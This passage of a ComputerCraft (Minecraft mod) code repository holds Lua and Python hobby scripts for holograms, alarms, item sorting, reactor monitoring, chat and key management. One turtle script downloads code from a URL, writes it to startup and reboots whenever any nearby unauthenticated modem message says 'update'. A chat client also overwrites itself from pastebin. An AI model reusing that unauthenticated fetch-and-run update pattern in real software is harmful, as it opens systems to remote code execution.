y = y or 0
z = z or 0
local X = math.floor(x % 255)
local Y = math.floor(y % 255)
local Z = math.floor(z % 255)
x = x - math.floor(x)
y = y - math.floor(y)
z = z - math.floor(z)
local u = fade(x)
local v = fade(y)
local w = fade(z)
A = p[X ] + Y
AA = p[A ] + Z
AB = p[A + 1] + Z
B = p[X + 1] + Y
BA = p[B ] + Z
BB = p[B + 1] + Z
return lerp(w, lerp(v, lerp(u, grad(p[AA ], x , y , z ),
grad(p[BA ], x - 1, y , z )),
lerp(u, grad(p[AB ], x , y - 1, z ),
grad(p[BB ], x - 1, y - 1, z ))),
lerp(v, lerp(u, grad(p[AA + 1], x , y , z - 1),
grad(p[BA + 1], x - 1, y , z - 1)),
lerp(u, grad(p[AB + 1], x , y - 1, z - 1),
grad(p[BB + 1], x - 1, y - 1, z - 1))))
end
function noise.fbm(x, y, z, octaves, lacunarity, gain)
octaves = octaves or 8
lacunarity = lacunarity or 2
gain = gain or 0.5
local amplitude = 1.0
local frequency = 1.0
local sum = 0.0
for i = 0, octaves do
sum = sum + amplitude * noise.perlin(x * frequency, y * frequency, z * frequency)
amplitude = amplitude * gain
frequency = frequency * lacunarity
end
return sum
end
local holo = peripheral.find "hologram"
local W = 48
local H = 32
local perlin = noise.perlin
holo.setPaletteColor(1, 0x0000FF)
holo.setPaletteColor(2, 0x00FFFF)
holo.setPaletteColor(3, 0x00FF00)
holo.setScale(1/3)
while true do
local out = {}
for x = 1, W do
for z = 1, W do
local y = perlin(x / W * 4, z / W * 4, os.clock())
y = math.floor((y + 1) * (H / 2))
local apiaristics = perlin(x / W * 0.5, z / W * 0.5, os.clock() * 0.2 - 6) * 2.7
apiaristics = math.min(1.9, math.max(-1.9, apiaristics))
for Y = 1, y do
local color = 2
if apiaristics < -0.2 then
if math.random() < (math.abs(apiaristics) - 0.2) then
color = 1
end
elseif apiaristics > 0.2 then
if math.random() < (math.abs(apiaristics) - 0.2) then
color = 3
end
end
table.insert(out, string.char(color))
end --table.insert(out, (string.char(color)):rep(y) .. ("\x00"):rep(H - y))
table.insert(out, ("\x00"):rep(H - y))
end
end
holo.setRaw(table.concat(out))
sleep(0.1)
end

View File

@ -0,0 +1,62 @@
local holos = {peripheral.find "hologram"}
local translations = {
["4bebae02"] = {0, 0, 0},
["721c3701"] = {0, 0, -1/3},
["30358553"] = {0, 0, 1/3}
}
local colors = {
0xFF0000,
0x00FF00,
0x0000FF,
0xFFFF00,
0xFF00FF,
0x00FFFF,
0x000000,
0xFFFFFF,
0x888888
}
for i, holo in pairs(holos) do
holo.setTranslation(unpack(translations[peripheral.getName(holo):sub(1, 8)]))
for c = 1, 3 do
holo.setPaletteColor(c, colors[(i - 1) * 3 + c])
end
end
local W = 48
local H = 32
local function generate_strings(fn)
local out = {}
for _ in pairs(holos) do
table.insert(out, {})
end
for x = 1, W do
for z = 1, W do
for y = 1, H do
local color = fn(x, y, z)
local targ = math.ceil(color / 3)
for i, t in pairs(out) do
if i == targ then
table.insert(t, string.char((color - 1) % 3 + 1))
else
table.insert(t, "\0")
end
end
end
end
end
return out
end
local function random()
return math.random(0, 9)
end
while true do
local s = generate_strings(random)
for i, holo in pairs(holos) do
holo.setRaw(table.concat(s[i]))
end
sleep(0.2)
end

View File

@ -0,0 +1,51 @@
local authorized = settings.get "alarm.authorized"
local bounds = settings.get "alarm.bounds"
if type(bounds) == "string" then bounds = textutils.unserialise(bounds) end
local particle = peripheral.find "particle"
local sensor = peripheral.find "plethora:sensor"
local function random_in_range(min, max)
local size = math.abs(min) + math.abs(max)
print(size, min, max)
return (math.random() * size) + min
end
local function detect_intruders()
local es = sensor.sense()
local positions = {}
for _, e in pairs(es) do
if e.x >= bounds[1] and e.x <= bounds[2] and e.y >= bounds[3] and e.y <= bounds[4] and e.z >= bounds[5] and e.z <= bounds[6] then
table.insert(positions, { e.x, e.y, e.z })
print(os.clock(), e.displayName)
if e.displayName == authorized then return false end
end
end
return positions
end
while true do
local intruders = detect_intruders()
print(intruders)
if intruders and #intruders > 0 then
-- generally fill building
for _ = 1, 8 do
particle.spawn("barrier",
random_in_range(bounds[1], bounds[2]),
random_in_range(bounds[3], bounds[4]),
random_in_range(bounds[5], bounds[6]))
end
-- specifically target intruder
for _, position in pairs(intruders) do
local x, y, z = unpack(position)
for _ = 1, 16 do
particle.spawn("barrier",
random_in_range(x - 2, x + 2),
random_in_range(y - 2, y + 2),
random_in_range(z - 2, z + 2))
end
end
sleep()
else
sleep(1)
end
end

View File

@ -0,0 +1,25 @@
local enderchest = peripheral.find "minecraft:ender chest"
local targets = {}
for _, name in pairs(peripheral.call("right", "getNamesRemote")) do
if peripheral.getType(name) == "minecraft:ironchest_iron" then
table.insert(targets, name)
end
end
local discard = {
["minecraft:cobblestone"] = true
}
while true do
for slot, content in pairs(enderchest.list()) do
if discard[content.name] then
enderchest.drop(slot)
else
local remaining = content.count
for _, target in pairs(targets) do
remaining = remaining - enderchest.pushItems(target, slot)
if remaining == 0 then break end
end
end
end
sleep(1)
end

49
computercraft/keyctl.py Normal file
View File

@ -0,0 +1,49 @@
#!/usr/bin/env python3
import requests
import argparse
import sys
parser = argparse.ArgumentParser(description="Manage keys in SPUDNET")
parser.add_argument("--spudnet_url", "-s", required=True, help="URL of the SPUDNET instance to access")
parser.add_argument("--key", "-K", required=True)
subparsers = parser.add_subparsers(required=True)
subparsers.dest = "command"
subparsers.add_parser("info", help="Get information about this key.")
subparsers.add_parser("dependent_keys", help="List keys issued by this key.")
subparsers.add_parser("disable_key", help="Disable this key.")
issue_key = subparsers.add_parser("issue_key", help="Issue a new key.")
issue_key.add_argument("--channel", "-c", action="append", help="Allow new key access to this channel. Can be repeated. If none specified, defaults to issuing key's channels.")
issue_key.add_argument("--bearer", "-b", help="Specifies bearer of new key")
issue_key.add_argument("--use", "-u", help="Specifies intended use of new key")
issue_key.add_argument("--permission_level", "-p", help="Specifies permission level of new key. Not currently used. Must be <= issuing key's permission level", type=int)
args = parser.parse_args()
def query(subpath, data):
for key, value in list(data.items()):
if value == None: del data[key]
result = requests.post(args.spudnet_url + "/hki/" + subpath, json=data)
if not result.ok:
print(result.text)
sys.exit(1)
else:
return result.json()
if args.command == "info":
print(query("key-info", { "key": args.key }))
elif args.command == "dependent_keys":
print(query("dependent-keys", { "key": args.key }))
elif args.command == "issue_key":
print(query("issue-key", {
"key": args.key,
"bearer": args.bearer,
"use": args.use,
"permission_level": args.permission_level,
"allowed_channels": args.channel
}))
elif args.command == "disable_key":
yn = input("Are you sure? All keys issued by this key will also be disabled. This action is irreversible. (y/n) ")
if yn == "y":
print(query("disable-key", { "key": args.key }))
else:
print("Action cancelled.")

View File

@ -0,0 +1,41 @@
import sqlite3
import time
import requests
from datetime import datetime, timezone
CHUNK = 1000
def do_query(offset):
return requests.get("https://krist.dev/transactions", params={"excludeMined": True, "limit": CHUNK, "offset": CHUNK * offset}).json()
conn = sqlite3.connect("krist.sqlite3")
conn.row_factory = sqlite3.Row
conn.executescript("""CREATE TABLE IF NOT EXISTS tx (
id INTEGER PRIMARY KEY,
fromaddr TEXT,
toaddr TEXT NOT NULL,
value INTEGER NOT NULL,
time INTEGER NOT NULL,
name TEXT,
meta TEXT,
sent_metaname TEXT,
sent_name TEXT
);""")
i = 0
while True:
results = do_query(i)
print(list(results.keys()))
if results.get("count") == 0:
print("done")
break
elif results["ok"] == False and "rate limit" in results.get("error", ""):
print(results.get("error"))
time.sleep(90)
elif results["ok"] == False:
print(results.get("error"))
else:
conn.executemany("INSERT INTO tx VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", [ (x["id"], x["from"], x["to"], x["value"], int(datetime.strptime(x["time"], "%Y-%m-%dT%H:%M:%S.%f%z").astimezone(timezone.utc).timestamp() * 1000), x["name"], x["metadata"], x["sent_metaname"], x["sent_name"]) for x in results["transactions"] ])
conn.commit()
i += 1

117
computercraft/labelnet.lua Normal file
View File

@ -0,0 +1,117 @@
-- https://github.com/SquidDev-CC/CC-Tweaked/blob/1c9110b9277bd7a2bf0b2ddd9d517656a72da906/src/main/java/dan200/computercraft/shared/util/StringUtil.java#L11-L31 is the code restricting the contents of labels.
-- Basically, they can contain chars (I think in Extended ASCII for some reason, and inclusive) 32 to 126, 161 to 172, and 174 to 255. This gives us 187 (EDIT: 189) options to work with, thus base 187 (189).
-- BaseN encoding/decoding blob
-- https://github.com/oploadk/base2base for computercraft
local a=string.format;local function b(c,d,e)local f,g,h={}for i=1,#c do g,h=i,c[i]*d;while true do h=(f[g]or 0)+h;f[g]=h%e;h=math.floor(h/e)if h==0 then break end;g=g+1 end end;return f end;local function j(k,l,m,n)local g,h;for i=1,#m do g,h=i,l*(m[i]or 0)while true do h=(k[g]or 0)+h;k[g]=h%n;h=math.floor(h/n)if h==0 then break end;g=g+1 end end end;local function o(self,p)local f,q={},#p;for i=1,q do f[i]=self.r_alpha_from[p:byte(q-i+1)]end;return f end;local function r(self,h)local f,q={},#h;for i=q,1,-1 do f[q-i+1]=self.alpha_to:byte(h[i]+1)end;return string.char(table.unpack(f))end;local function s(self,l)return self.power[l]or b(s(self,l-1),self.base_from,self.base_to)end;local function t(self,h)local f={}for i=1,#h do j(f,h[i],s(self,i-1),self.base_to)end;return f end;local function u(self,p)return r(self,t(self,o(self,p)))end;local function v(self,p)for i=1,#p do if not self.r_alpha_from[p:byte(i)]then return false end end;return true end;local w={__index={convert=u,validate=v},__call=function(self,p)return self:convert(p)end}function new_converter(x,y)local self={alpha_to=y,base_from=#x,base_to=#y}local z={}for i=1,#x do z[x:byte(i)]=i-1 end;self.r_alpha_from=z;self.power={[0]={1}}return setmetatable(self,w)end
local function byte_table_to_string(bytes)
local str = ""
for _, x in ipairs(bytes) do
str = str .. string.char(x)
end
return str
end
local function get_byte(num, byte)
return bit.band(bit.brshift(num, byte * 8), 0xFF)
end
local function from_bytes(b)
local n = 0
for ix, byte in pairs(b) do
n = bit.bor(n, bit.blshift(byte, (ix - 1) * 8))
end
return n
end
local ascii = {}
for i = 0, 255 do table.insert(ascii, i) end
local label_charset = {}
for i = 32, 126 do table.insert(label_charset, i) end
for i = 161, 172 do table.insert(label_charset, i) end
for i = 174, 255 do table.insert(label_charset, i) end
label_charset = byte_table_to_string(label_charset)
ascii = byte_table_to_string(ascii)
local from_label = new_converter(label_charset, ascii)
local to_label = new_converter(ascii, label_charset)
local states = {
IDLE = 0,
TRANSMITTING = 1,
RECEIVING = 2,
RECEIVE_ERROR = 3
}
local function receive_data(side)
local out = {}
repeat sleep(0.05) until rs.getBundledInput(side) == states.TRANSMITTING
rs.setBundledOutput(side, states.RECEIVING)
local last
local xseq = 1
repeat
local label = peripheral.call(side, "getLabel")
if label then
local received = from_label(label)
if received ~= last then
local seq, rest = received:byte(1), received:sub(2)
if seq ~= xseq then
print("expected", xseq, "got", seq)
end
last = received
xseq = xseq + 1
table.insert(out, rest)
end
end
sleep(0.05)
until rs.getBundledInput(side) ~= states.TRANSMITTING
rs.setBundledOutput(side, states.IDLE)
return table.concat(out)
end
local function send_data(side, data)
local packets = {}
local packet_index = 1
local remaining, chunk = data
while true do
chunk, remaining = remaining:sub(1, 29), remaining:sub(30)
local header = string.char(get_byte(packet_index, 0))
table.insert(packets, header .. chunk)
packet_index = packet_index + 1
if #remaining == 0 then break end
end
local label = os.getComputerLabel()
rs.setBundledOutput(side, states.TRANSMITTING)
repeat sleep(0.05) until rs.getBundledInput(side) == states.RECEIVING
for _, packet in ipairs(packets) do
os.setComputerLabel(to_label(packet))
sleep(0.05)
end
rs.setBundledOutput(side, states.IDLE)
sleep(0.1)
os.setComputerLabel(label)
end
local other
for _, name in pairs(peripheral.getNames()) do
for _, method in pairs(peripheral.getMethods(name)) do
if method == "getLabel" then
other = name
break
end
end
end
local option = ...
if option == "send" then
write "Send: "
local text = read()
send_data(other, text)
elseif option == "receive" then
print(receive_data(other))
end
return { to_label = to_label, from_label = from_label, send_data = send_data, receive_data = receive_data }

View File

@ -0,0 +1,90 @@
local laser = peripheral.find "plethora:laser"
local modem = peripheral.find "modem"
local channel = 26535
local count = 8
local go = false
modem.open(channel)
--[[
local movement_notifications = {}
local function moved_count()
local c = 0
for k in pairs(movement_notifications) do
c = c + 1
end
return c
end
]]
local function main()
while true do
--print("reset movement notifications")
--movement_notifications = {}
--while true do
--[[if turtle.detect() then
laser.fire(-180, 0, 5)
--laser.fire(0, 0, 5)
end
local ok, reason = turtle.forward()
if ok then
print("transmit movement notification")
modem.transmit(channel, channel, { "moved", os.getComputerID() })
break
elseif reason == "Out of fuel" then
print("Refuel")
turtle.refuel()
sleep(1)
end]]
if go then laser.fire(270, 0, 5) else sleep(1) end
--end
--[[
local calls = {}
for i = 1, 16 do
table.insert(calls, function() laser.fire(0, 90, 5) end)
end
parallel.waitForAll(unpack(calls))
--laser.fire(0, -270, 5)
while (not go or moved_count() ~= (count - 1)) do
print("count is", moved_count(), moved_count() == count - 1, "go", go)
os.pullEvent()
end
]]
end
end
local function communications()
while true do
local _, _, c, rc, msg, distance = os.pullEvent "modem_message"
if c == channel and type(msg) == "table" then
if msg[1] == "ping" then
modem.transmit(channel, channel, { "pong", gps.locate() })
elseif distance and msg[1] == "stop" and distance < 32 then
print("stop command")
go = false
elseif distance and msg[1] == "start" and distance < 32 then
print("start command")
go = true
elseif distance and msg[1] == "moved" and distance < 32 then
print("got movement notification")
movement_notifications[msg[2]] = true
elseif distance and msg[1] == "update" and distance < 32 then
local h = http.get "https://osmarks.net/stuff/laser_tbm.lua"
local t = h.readAll()
h.close()
local f, e = load(t)
if not f then printError(e)
else
local f = fs.open("startup", "w")
f.write(t)
f.close()
print "updated"
os.reboot()
end
elseif distance and msg[1] == "forward" and distance < 32 then
turtle.forward()
end
end
end
end
parallel.waitForAll(communications, main)

130
computercraft/lms.lua Normal file
View File

@ -0,0 +1,130 @@
local function update()
local h = http.get "https://pastebin.com/raw/L0ZKLBRG"
local f = fs.open(shell.getRunningProgram(), "w")
f.write(h.readAll())
f.close()
h.close()
end
if ... == "update" then update() end
local m = peripheral.find "modem"
local s = peripheral.find "speaker"
local chan = 3636
print "Welcome to the Lightweight Messaging System (developed by GTech Potatronics)"
m.open(chan)
local username = settings.get "lms.username"
if username == nil then
write "Username: "
username = read()
end
local w, h = term.getSize()
local send_window = window.create(term.current(), 1, h, w, 1)
local message_window = window.create(term.current(), 1, 1, w, h - 1)
local function notification_sound()
if s then
for i = 4, 12, 4 do
s.playNote("flute", 3, i)
sleep(0.2)
end
end
end
local function exec_in_window(w, f)
local x, y = term.getCursorPos()
local last = term.redirect(w)
f()
term.redirect(last)
w.redraw()
term.setCursorPos(x, y)
end
local function print_message(txt)
exec_in_window(message_window, function()
print(txt)
end)
end
local function trim(s)
return s:match( "^%s*(.-)%s*$" )
end
local banned_text = {
"yeet",
"ecs dee",
"dab",
}
if debug and debug.getmetatable then
_G.getmetatable = debug.getmetatable
end
local function to_case_insensitive(text)
return text:gsub("[a-zA-Z]", function(char) return ("[%s%s]"):format(char:lower(), char:upper()) end)
end
local function filter(text)
local out = text
for _, b in pairs(banned_text) do
out = out:gsub(to_case_insensitive(b), "")
end
return out
end
local function strip_extraneous_spacing(text)
return text:gsub("%s+", " ")
end
local function collapse_e_sequences(text)
return text:gsub("ee+", "ee")
end
local function preproc(text)
return trim(filter(strip_extraneous_spacing(collapse_e_sequences(text:sub(1, 128)))))
end
local function add_message(msg, usr)
local msg, usr = preproc(msg), preproc(usr)
if msg == "" or usr == "" then return end
print_message(usr .. ": " .. msg)
end
local function send()
term.redirect(send_window)
term.setBackgroundColor(colors.white)
term.setTextColor(colors.black)
term.clear()
local hist = {}
while true do
local msg = read(nil, hist)
if msg == "!!exit" then return
elseif msg == "!!update" then update() print_message "Updated. Please restart the program."
else
table.insert(hist, msg)
if preproc(msg) == "" then
print_message "Your message is considered spam."
else
add_message(msg, username)
m.transmit(chan, chan, { message = msg, username = username })
end
end
end
end
local function recv()
while true do
local _, _, channel, _, message = os.pullEvent "modem_message"
if channel == chan and type(message) == "table" and message.message and message.username then
notification_sound()
add_message(message.message, message.username)
end
end
end
m.transmit(chan, chan, { username = username, message = "Connected." })
parallel.waitForAny(send, recv)

228
computercraft/lua-adt.lua Normal file
View File

@ -0,0 +1,228 @@
local function trim(str, chars)
if chars == nil then
chars = "%s*"
end
return string.match(str, "^"..chars.."(.-)"..chars.."$")
end
local function split(str, delim)
if delim == nil then
delim = "\n"
end
local t = {}
for s in string.gmatch(str, "([^"..delim.."]+)") do
table.insert(t, trim(s))
end
return t
end
local function find_multiple(str, patterns, offset)
local ws = string.len(str)
local we = we
local wpattern = nil
for i, pattern in pairs(patterns) do
s, e = string.find(str, pattern, offset)
if s ~= nil then
if s < ws then
ws = s
we = e
wpattern = pattern
end
end
end
return ws, we, wpattern
end
local function balanced_end(str, word, offset)
if offset == nil then
offset = 1
end
local i = offset
while true do
local s, e, p
if word == "then" then
s, e, p = find_multiple(str, {"%smatch%s", "%sfunction%s", "%sthen%s", "%sdo%s", "%send%s", "%selseif%s"}, i)
else
s, e, p = find_multiple(str, {"%smatch%s", "%sfunction%s", "%sthen%s", "%sdo%s", "%send%s"}, i)
end
if p == "%send%s" then
return e
elseif p == "%selseif%s" then
return e
elseif p == nil then
return "UNBAL"
end
i = balanced_end(str, string.sub(p, 3, -3), e)
if i == "UNBAL" then
return i
end
end
end
local function get_decls(str)
-- gather data declarations from source & remove
local datas = {}
local i = 0
local strout = ""
while true do
local n, a = string.find(str, "%sdata [%w]+", i+1)
if n == nil then
strout = strout .. string.sub(str, i+1)
break
end
strout = strout .. string.sub(str, i+1, n)
local e, d = string.find(str, "end", i+1)
local cont = string.sub(str, a+1, e-1)
local data = {}
for i, case in ipairs(split(cont)) do
local c = {}
local b, p = string.find(case, "%(")
if b == nil then
c.name = case
c.args = 0
else
c.name = string.sub(case, 1, p-1)
c.args = #split(case, ",")
end
table.insert(data, c)
end
i = d
table.insert(datas, data)
end
return datas, strout
end
local parseexprs, replace_case, replace_match
local function parseexpr(str)
local n, o, name, body = string.find(str, "(%w+)(%b())")
if n == nil then
local b = string.find(str, ",")
if b == nil then
return {type="var",name=str}, ""
else
return {type="var", name=string.sub(str, 0, b-1)}, string.sub(str,b+1)
end
end
body = string.sub(body, 2, -2)
local obj = {type="data", name=name, body=parseexprs(body)}
local rem = string.sub(str, o+1)
local b = string.find(rem, ",")
if b == nil then
return obj, ""
else
return obj, string.sub(rem,b+1)
end
end
parseexprs = function(str)
local t = {}
while str ~= "" do
local obj
obj, str = parseexpr(str)
table.insert(t, obj)
end
return t
end
local function getCase(datas, data)
for i, x in ipairs(datas) do
for i, case in ipairs(x) do
if case.name == data then
return i
end
end
end
end
local function comparison(datas, var, pattern)
if pattern.type == "data" then
local out = var .. ".case == " .. getCase(datas, pattern.name)
for i, x in ipairs(pattern.body) do
if x.type == "data" then
out = out .. " and " .. comparison(datas, var .. "[" .. i .. "]", x)
end
end
return out
else
return "true"
end
end
local function destructure(datas, var, pattern)
if pattern.type == "var" then
return "local " .. pattern.name .. " = " .. var
else
local out = ""
for i, x in ipairs(pattern.body) do
out = out .. "\n" .. destructure(datas, var .. "[" .. i .. "]", x)
end
return out
end
end
replace_match = function(datas, str)
while true do
local m, b, var = string.find(str, "%smatch (%w+)%s")
if m == nil then
return str
end
local e = balanced_end(str, "match", b)
local cont = string.sub(str, b, e-4)
str = string.sub(str, 1, m) .. replace_case(datas, cont, var) .. string.sub(str, e, -1)
end
end
replace_case = function(datas, out, var)
local str = out
local count = 0
while true do
local m
local b
local p
m, b, p = string.find(str, "%scase ([^%s]+) do%s")
if m == nil then
for i=1,count do
str = str .. "\nend"
end
return str
end
count = count + 1
local e = balanced_end(str, "do", b)
local cont = string.sub(str, b, e-5)
local pattern = parseexpr(p)
local bool = comparison(datas, var, pattern)
local body = destructure(datas, var, pattern)
str = string.sub(str, 1, m) .. "\nif " .. bool .. " then\n" .. body .. cont .. "\nelse\n" .. string.sub(str, e, -1)
end
end
local function printpattern(pattern)
if pattern.type == "data" then
io.write(pattern.name)
io.write("(")
for i, v in ipairs(pattern.body) do
printpattern(v)
io.write(",")
end
io.write(")")
else
io.write(pattern.name)
end
end
local function writeheaders(datas)
local out = ""
for i, x in ipairs(datas) do
for i, case in ipairs(x) do
out = out .. "\nlocal function " .. case.name .. "(...) return {case=" .. i .. ",...} end"
end
end
return out
end
function preprocess(str)
local decls, str0 = get_decls(str)
local b = replace_match(decls, str0)
local h = writeheaders(decls)
return h .. b
end

View File

@ -0,0 +1,41 @@
local mat = peripheral.wrap "right"
mat.setPaletteColor(colors.black, 0)
mat.setPaletteColor(colors.green, 0x15b01a)
mat.setPaletteColor(colors.lime, 0x01ff07)
mat.setTextScale(0.5)
local w, h = mat.getSize()
local function rchar()
return string.char(math.random(0, 255))
end
local function wrap(x)
return (x - 1) % h + 1
end
local cols = {}
for i = 1, w do
local base = math.random(1, h)
table.insert(cols, { base, base + math.random(1, h - 5) })
end
while true do
for x, col in pairs(cols) do
local start = col[1]
local endp = col[2]
mat.setCursorPos(x, start)
mat.write " "
mat.setCursorPos(x, wrap(endp - 1))
mat.setTextColor(colors.green)
mat.write(rchar())
mat.setTextColor(colors.lime)
mat.setCursorPos(x, endp)
mat.write(rchar())
col[1] = col[1] + 1
col[2] = col[2] + 1
col[1] = wrap(col[1])
col[2] = wrap(col[2])
end
sleep(0.1)
end

42
computercraft/mekfr.lua Normal file
View File

@ -0,0 +1,42 @@
local modem = {peripheral.find("modem", function(_, o) return o.isWireless() end)}
local gas_tanks = {peripheral.find "Ultimate Gas Tank"}
local name = os.getComputerLabel()
local function send(...)
for _, modem in pairs(modem) do
modem.transmit(48869, 48869, {...})
end
end
local fuel_depletion_latch = false
local reactor = peripheral.find "Reactor Logic Adapter"
while true do
if type(reactor.getEnergy()) == "string" then
print("anomalous stringment", reactor.getEnergy())
else
local energy = reactor.getEnergy() / reactor.getMaxEnergy()
send("mek_reactor_energy/" .. name, "fraction of fusion reactor's energy buffer which is full", energy)
send("mek_reactor_plastemp/" .. name, "reported plasma temperature", reactor.getPlasmaHeat())
send("mek_reactor_casetemp/" .. name, "reported case temperature", reactor.getCaseHeat())
local total_stored, total_max = 0, 0
for _, tank in pairs(gas_tanks) do
total_max = total_max + tank.getMaxGas()
total_stored = total_stored + tank.getStoredGas()
end
local tritium = total_stored / total_max
send("mek_reactor_tritium/" .. name, "fraction of tritium buffer filled", tritium)
if not fuel_depletion_latch and tritium < 0.5 then
print "WARNING: Contingency Beta-4 initiated."
fuel_depletion_latch = true
end
local injection_rate = math.floor(3 + 17 * (math.min(1, 1.1 - energy) / 0.9)) * 2
print(injection_rate)
if fuel_depletion_latch then
injection_rate = 6
end
reactor.setInjectionRate(fuel_depletion_latch and 6 or injection_rate)
send("mek_reactor_injectionrate/" .. name, "fuel injection rate (set by controller)", injection_rate)
send("mek_reactor_powerout_rft/" .. name, "power output (RF/t)", reactor.getProducing() * 0.4)
end
sleep(1)
end

View File

@ -0,0 +1,98 @@
local m = peripheral.find "modem"
local o = peripheral.find "monitor"
o.setTextScale(0.5)
local w, h = o.getSize()
local command_window = window.create(o, 1, h, w, 1)
local outputs_window = window.create(o, 1, 1, w, h - 1)
local function exec_in_window(w, f)
local x, y = o.getCursorPos()
local last = term.redirect(w)
f()
term.redirect(last)
w.redraw()
o.setCursorPos(x, y)
end
local function print_output(txt, color)
exec_in_window(outputs_window, function()
term.setTextColor(color or colors.white)
print(txt)
end)
end
local function splitspace(str)
local tokens = {}
for token in string.gmatch(str, "[^%s]+") do
table.insert(tokens, token)
end
return tokens
end
local function controls()
term.redirect(command_window)
term.setBackgroundColor(colors.white)
term.setTextColor(colors.black)
term.clear()
local hist = {}
while true do
write "> "
local msg = read(nil, hist)
table.insert(hist, msg)
local tokens = splitspace(msg)
local command = table.remove(tokens, 1)
if command == "open" then
local chan = tonumber(tokens[1])
m.open(chan)
print_output(("Opened %d"):format(chan), colors.gray)
elseif command == "close" then
local chan = tonumber(tokens[1])
m.close(chan)
print_output(("Closed %d"):format(chan), colors.gray)
else
print_output("Command invalid", colors.gray)
end
end
end
local function compact_serialize(x)
local t = type(x)
if t == "number" then
return tostring(x)
elseif t == "string" then
return textutils.serialise(x)
elseif t == "table" then
local out = "{ "
for k, v in pairs(x) do
out = out .. string.format("[%s]=%s, ", compact_serialize(k), compact_serialize(v))
end
return out .. "}"
elseif t == "boolean" then
return tostring(x)
else
error("Unsupported type " .. t)
end
end
local function safe_serialize(m)
local ok, res = pcall(compact_serialize, m)
if ok then return res
else return ("[UNSERIALIZABLE %s: %s]"):format(tostring(m), res) end
end
local function tostring_with_default(x)
if not x then return "[UNKNOWN]"
else return tostring(x) end
end
local function receive()
while true do
local _, _, channel, reply_channel, message, distance = os.pullEvent "modem_message"
print_output(("%d \16 %d | %s"):format(channel, reply_channel, tostring_with_default(distance)))
print_output(safe_serialize(message), colors.lightGray)
end
end
parallel.waitForAny(controls, receive)

View File

@ -0,0 +1,19 @@
local send_metric = require "metrics_interface"
peripheral.find("modem", function(_, o) o.open(48869) end)
while true do
local _, _, c, rc, m = os.pullEvent "modem_message"
if type(m) == "table" then
print(unpack(m))
send_metric(unpack(m))
end
end
--[[
local modem = {peripheral.find("modem", function(_, o) return o.isWireless() end)}
local function send(...)
for _, modem in pairs(modem) do
modem.transmit(48869, 48869, {...})
end
end
]]

View File

@ -0,0 +1,28 @@
local ni = peripheral.wrap "back"
package.path = "/?;/?.lua;" .. package.path
local gps_patch = require "gps_patch"
local estimated_position = vector.new(gps_patch.locate())
local function integrate_motion()
local lt = os.clock()
while true do
local meta = ni.getMetaOwner()
local v = vector.new(meta.deltaPosX, meta.deltaPosY, meta.deltaPosZ)
--if math.floor(os.clock()) == os.clock() then print("vel", v) end
local time = os.clock()
local dt = time - lt
estimated_position = estimated_position + v
--estimated_position = channelwise(round_to_frac, estimated_position, meta.withinBlock)
lt = time
end
end
local function compare_against_gps()
while true do
local pos = vector.new(gps_patch.locate())
print("delta", pos - estimated_position)
sleep(1)
end
end
parallel.waitForAll(integrate_motion, compare_against_gps)

21
computercraft/ncfr.lua Normal file
View File

@ -0,0 +1,21 @@
local s = "back"
local fr = peripheral.find "nc_fusion_reactor"
local name = ("%s_%s_%d"):format(fr.getFirstFusionFuel(), fr.getSecondFusionFuel(), os.getComputerID())
local m = peripheral.find("modem", function(_, o) return o.isWireless() end)
local function send_metric(...)
m.transmit(3054, 3054, {...})
end
local NC_HEAT_CONSTANT = 1218.76
while true do
local l = fr.getEnergyStored() / fr.getMaxEnergyStored()
local target_temp = fr.getFusionComboHeatVariable() * NC_HEAT_CONSTANT * 1000
local temp = fr.getTemperature()
send_metric("reactor_energy/" .. name, "energy stored", "set", l)
send_metric("fusion_efficiency/" .. name, "efficiency of fusion reactor 0 to 100", "set", fr.getEfficiency())
send_metric("fusion_temp/" .. name, "temperature of fusion reactor, relative to optimum", "set", temp / target_temp)
print(temp / target_temp, l)
sleep(1)
end

45
computercraft/ncfroc.lua Normal file
View File

@ -0,0 +1,45 @@
local component, computer = component, computer
if require then component = require "component" computer = require "computer" end
local wlan = component.proxy(component.list "modem"())
local computer_peripheral = component.proxy(component.list "computer"())
local reactor = component.proxy(component.list "nc_fusion_reactor"())
local gpu = component.proxy(component.list "gpu"())
local screen = component.list "screen"()
gpu.bind(screen)
wlan.setWakeMessage("poweron", true)
local function display(txt)
local w, h = gpu.getResolution()
gpu.set(1, 1, txt .. (" "):rep(w - #txt))
end
local function sleep(timeout)
local deadline = computer.uptime() + (timeout or 0)
repeat
computer.pullSignal(deadline - computer.uptime())
until computer.uptime() >= deadline
end
computer_peripheral.beep(400)
display "Initialized"
local NC_HEAT_CONSTANT = 1218.76
local last = nil
while true do
local target_temp = reactor.getFusionComboHeatVariable() * NC_HEAT_CONSTANT * 1000
local temp = reactor.getTemperature()
display(("%f %f"):format(temp / target_temp, reactor.getEfficiency()))
local too_high = temp > target_temp
if too_high then
if too_high ~= last then computer_peripheral.beep(800) end
reactor.deactivate()
else
if too_high ~= last then computer_peripheral.beep(500) end
reactor.activate()
end
last = too_high
wlan.broadcast(1111, "poweron")
sleep(0.5)
end

674
computercraft/ni-ctl.lua Normal file
View File

@ -0,0 +1,674 @@
local username = settings.get "username" or "gollark"
local ni = peripheral.wrap "back"
local speaker = peripheral.find "speaker"
local modem = peripheral.find "modem"
local offload_laser = settings.get "offload_laser"
local w, h = ni.canvas().getSize()
if _G.thing_group then
pcall(_G.thing_group.remove)
end
if _G.canvas3d_group then
pcall(_G.canvas3d_group.clear)
pcall(_G.canvas3d_group.remove)
end
local group
local group_3d
local function initialize_group_thing()
if group then pcall(group.remove) end
if group_3d then pcall(group_3d.remove) end
group = ni.canvas().addGroup({ w - 70, 10 })
ni.canvas3d().clear()
group_3d = ni.canvas3d().create()
_G.thing_group = group
_G.canvas3d_group = group_3d
end
initialize_group_thing()
local targets = {}
local use_spudnet = offload_laser
local spudnet_send, spudnet_background
if use_spudnet then
print "SPUDNET interface loading."
spudnet_send, spudnet_background = require "ni-ctl_spudnet_interface"()
end
local function offload_protocol(...)
spudnet_send { "exec", {...} }
end
local function is_target(name)
for target, type in pairs(targets) do
if name:lower():match(target) then return type end
end
end
local function vector_sqlength(self)
return self.x * self.x + self.y * self.y + self.z * self.z
end
local function project(line_start, line_dir, point)
local t = (point - line_start):dot(line_dir) / vector_sqlength(line_dir)
return line_start + line_dir * t, t
end
local function calc_yaw_pitch(v)
local x, y, z = v.x, v.y, v.z
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local settings_cfg = {
brake = { type = "bool", default = true, shortcode = "b" },
